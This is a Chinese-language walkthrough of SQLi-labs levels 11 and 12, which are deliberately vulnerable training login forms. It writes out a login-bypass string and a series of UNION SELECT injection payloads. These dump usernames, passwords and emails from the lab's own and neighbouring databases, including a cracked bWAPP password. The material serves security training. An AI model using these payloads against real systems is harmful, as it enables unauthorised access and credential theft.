Less-11(POST-Error Based-Single Quotes-String)
打開Less-11的頁面,可以看到一個登錄框,需要輸入用戶名和密碼,由本關名字可知SQL陳述句是單引號閉合,
萬能密碼
那么先嘗試一下萬能密碼登錄,用戶名:admin' #、密碼隨便填一個:

從上圖可以看出登陸成功,并且會回顯賬號和密碼,
其他方法
判斷注入
先隨便嘗試一個賬號密碼,uname=name & passwd=pass

顯示登錄失敗,接著修改post包,加入引號看是否會報錯.

可以發現加入引號之后報錯了,并且判斷出SQL陳述句的閉合方式是單引號,到此可以發現SQL陳述句的報錯會顯示在前端頁面,
判斷當前資料表列數
注入陳述句:uname=name' order by 1# & passwd=pass

當嘗試到uname=name' order by 3# & passwd=pass時,出現了報錯,由此可以判斷該表只有兩列,

判斷回顯位
注入陳述句:uname=name' union select 1,2 # & passwd=pass

判斷數用戶名和據庫名
注入陳述句:uname=name' union select user(),database() # & passwd=pass

通過上述注入可以得知,當前資料庫名為security,當前用戶為root,接著找出這個資料庫中的所有資料表,
確定當前資料庫內表名
注入陳述句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass

通過上述注入可以得知當前資料庫中存在emails、referers、uagents、users四張資料表,
確定users表中列名
注入陳述句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass

通過上述注入可以得知users表中存在三列,分別為id、username、password,
確定users表中的用戶名和密碼
注入陳述句:uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass

到此,就得到了當前表中所有的用戶名和密碼,
跨資料庫注入
通過上面的步驟可以看到當前用戶是root用戶,那么可以嘗試爆其他資料庫中的資訊,
確定當前服務器上有哪些資料庫
注入陳述句:uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass

通過上述注入可以得知當前服務器中的資料庫由:information_schema、bWAPP、challenges、dvwa、mysql、performance_schema、security、test
確定bWAPP資料庫中的資料表
注入陳述句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass

上圖中可以看出在bWAPP庫中的表分別是blog,heroes,movies,users,visitors,
確定users資料庫中的列名
注入陳述句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass

可以看到users表中的列名為:id,login,password,email,secret,activation_code,activated,reset_code,admin,
確定users表中的郵箱和密碼
注入陳述句:uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass

這樣就成功拿到了郵箱和密碼,通過查md5可以得到密碼為bug,
Less-12(POST-Error Based-Double Quotes-String-with twist)
通過注入uname=name" & passwd=pass發現SQL閉合符號為"),其余操作均與第11關相同,
確定回顯位,其余操作不再贅述:

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/505960.html
標籤:其他
上一篇:leetcode 437. Path Sum III 路徑總和 III(中等)
下一篇:藍牙5.0對比4.2的主要優勢
